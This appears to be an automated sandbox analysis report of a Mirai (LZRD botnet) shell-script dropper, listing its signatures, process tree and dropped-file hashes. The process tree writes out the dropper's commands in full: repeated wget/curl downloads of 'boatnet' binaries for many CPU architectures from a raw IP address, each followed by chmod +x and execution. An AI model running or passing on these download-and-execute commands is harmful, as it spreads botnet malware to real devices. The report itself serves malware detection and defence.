Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    22-01-2025 05:17

General

  • Target

    2BV7L_ohshit.sh

  • Size

    2KB

  • MD5

    3b861f9434783f2eba1108c690dcaa47

  • SHA1

    2bbb9c3d22f6206bd0f4185eab7ee1cba7b4c215

  • SHA256

    baef81a5b8a6c9a601cd76ff538bd9cc68de6e150341d3edb87f4bd3b0396378

  • SHA512

    b41c8dfa5f24fd6c9f1ce1ddcf51b6eb7e80a12293f7ef98e79a323aa8e4defc833d3a1d425e50f68cb6b9ad3ebe8fb2a4f021e4be651bb746e9fa3ffc105fdb

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 42 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2BV7L_ohshit.sh
    /tmp/2BV7L_ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:711
    • /usr/bin/wget
      wget http://154.213.187.188/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:714
    • /usr/bin/curl
      curl -O http://154.213.187.188/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:725
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:737
      • /bin/chmod
        chmod +x 2BV7L_ohshit.sh boatnet.x86 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:740
      • /usr/bin/wget
        wget http://154.213.187.188/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:742
      • /usr/bin/curl
        curl -O http://154.213.187.188/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:745
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:746
      • /bin/chmod
        chmod +x 2BV7L_ohshit.sh boatnet.mips boatnet.x86 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
        2⤵
        • File and Directory Permissions Modification
        PID:747
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:748
      • /usr/bin/wget
        wget http://154.213.187.188/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:750
      • /usr/bin/curl
        curl -O http://154.213.187.188/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:751
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:752
        • /bin/chmod
          chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
          2⤵
          • File and Directory Permissions Modification
          PID:753
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:754
        • /usr/bin/wget
          wget http://154.213.187.188/hiddenbin/boatnet.i468
          2⤵
            PID:756
          • /usr/bin/curl
            curl -O http://154.213.187.188/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:757
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:758
            • /bin/chmod
              chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
              2⤵
              • File and Directory Permissions Modification
              PID:759
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:760
            • /usr/bin/wget
              wget http://154.213.187.188/hiddenbin/boatnet.i686
              2⤵
                PID:761
              • /usr/bin/curl
                curl -O http://154.213.187.188/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:766
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:773
                • /bin/chmod
                  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:775
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:776
                • /usr/bin/wget
                  wget http://154.213.187.188/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:778
                  • /usr/bin/curl
                    curl -O http://154.213.187.188/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:784
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:792
                    • /bin/chmod
                      chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:793
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:794
                    • /usr/bin/wget
                      wget http://154.213.187.188/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:796
                    • /usr/bin/curl
                      curl -O http://154.213.187.188/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:804
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:815
                      • /bin/chmod
                        chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:817
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:818
                      • /usr/bin/wget
                        wget http://154.213.187.188/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:822
                      • /usr/bin/curl
                        curl -O http://154.213.187.188/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:825
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:826
                        • /bin/chmod
                          chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:827
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:828
                        • /usr/bin/wget
                          wget http://154.213.187.188/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:830
                        • /usr/bin/curl
                          curl -O http://154.213.187.188/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:831
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:832
                          • /bin/chmod
                            chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-9fbfd4e893b04de5b35f9ba657c5bfe5-systemd-timedated.service-bpDAqO WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:833
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:834
                          • /usr/bin/wget
                            wget http://154.213.187.188/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:836
                          • /usr/bin/curl
                            curl -O http://154.213.187.188/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:837
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:849
                            • /bin/chmod
                              chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:850
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:851
                            • /usr/bin/wget
                              wget http://154.213.187.188/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:855
                            • /usr/bin/curl
                              curl -O http://154.213.187.188/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:862
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:869
                              • /bin/chmod
                                chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:871
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:872
                              • /usr/bin/wget
                                wget http://154.213.187.188/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:875
                              • /usr/bin/curl
                                curl -O http://154.213.187.188/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:882
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:883
                                • /bin/chmod
                                  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:884
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:885
                                • /usr/bin/wget
                                  wget http://154.213.187.188/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:887
                                • /usr/bin/curl
                                  curl -O http://154.213.187.188/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:888
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:889
                                  • /bin/chmod
                                    chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:890
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:891
                                  • /usr/bin/wget
                                    wget http://154.213.187.188/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:893
                                  • /usr/bin/curl
                                    curl -O http://154.213.187.188/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:894
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:895
                                    • /bin/chmod
                                      chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:896
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:897
                                    • /usr/bin/wget
                                      wget http://154.213.187.188/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:899
                                    • /usr/bin/curl
                                      curl -O http://154.213.187.188/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:900
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:901
                                      • /bin/chmod
                                        chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:902
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:903

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      ca9b5723eafc6145f3f0858c8faa18f9

                                      SHA1

                                      121e239871c4ab01d55ea50df73a0b18a76cb7e3

                                      SHA256

                                      8726c17c4fd6d0aa8b019795e10d69bc485052c4c4aa9744fa7eeb5b20477b7b

                                      SHA512

                                      3a4d9cc0c89b3f1bc01301d0d29caa316ad6777c7ff680172883a0a928f1961269145df269284326e2d2b8990ec8e68a81b41acb906021be8a5e68c2a3fd0c91

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      eb5904f5bfae25aca4ec9e2bc67d5704

                                      SHA1

                                      358fa959bf430b5ac4a1224704e721a2c44adadd

                                      SHA256

                                      d9599fd6d7462309ae636c44bbe41e59517ded9732a7a02284ab53707eba3d78

                                      SHA512

                                      bf4444cf40393e51146b72e0b750109bdb29e0f1299b5525b6e002d7bc6d5dcc58ba470efa525a350e4d4148a838d8619dbefb9a961d4292f5d1bdee3796533e

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      55cc63125b26ad425bf9ecb7e86cdd1f

                                      SHA1

                                      f800e4360c801dfc553c3fd06f171b756ecf8fec

                                      SHA256

                                      a5464c0f31617baec1234a073afd3781e3b91af806ab3b731ca692a28c63b019

                                      SHA512

                                      839998aa109f80813f2d3c75c6176d18649724ddc2f31125c2094f32f66d7d624988e127388134ab3c0e28f1062072ea438959b826369c591f3f826d08c725cd

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      fd53286f338f9688cf76d727d3bd3b76

                                      SHA1

                                      d90490c25fe5e5601e642f38f061b665791cdd74

                                      SHA256

                                      35eefca1c603f3511b87a60cf7d26701ce03ec35b80b69192e860be472fb0c23

                                      SHA512

                                      dcab4309729aa66a4e5d4a53a3a7234ec254cbd842406b0d76f3e381e74f37df89a63df0f838a7530ffdce4fd52b7256f97629fdde6d77eec9eb5b328c4d98df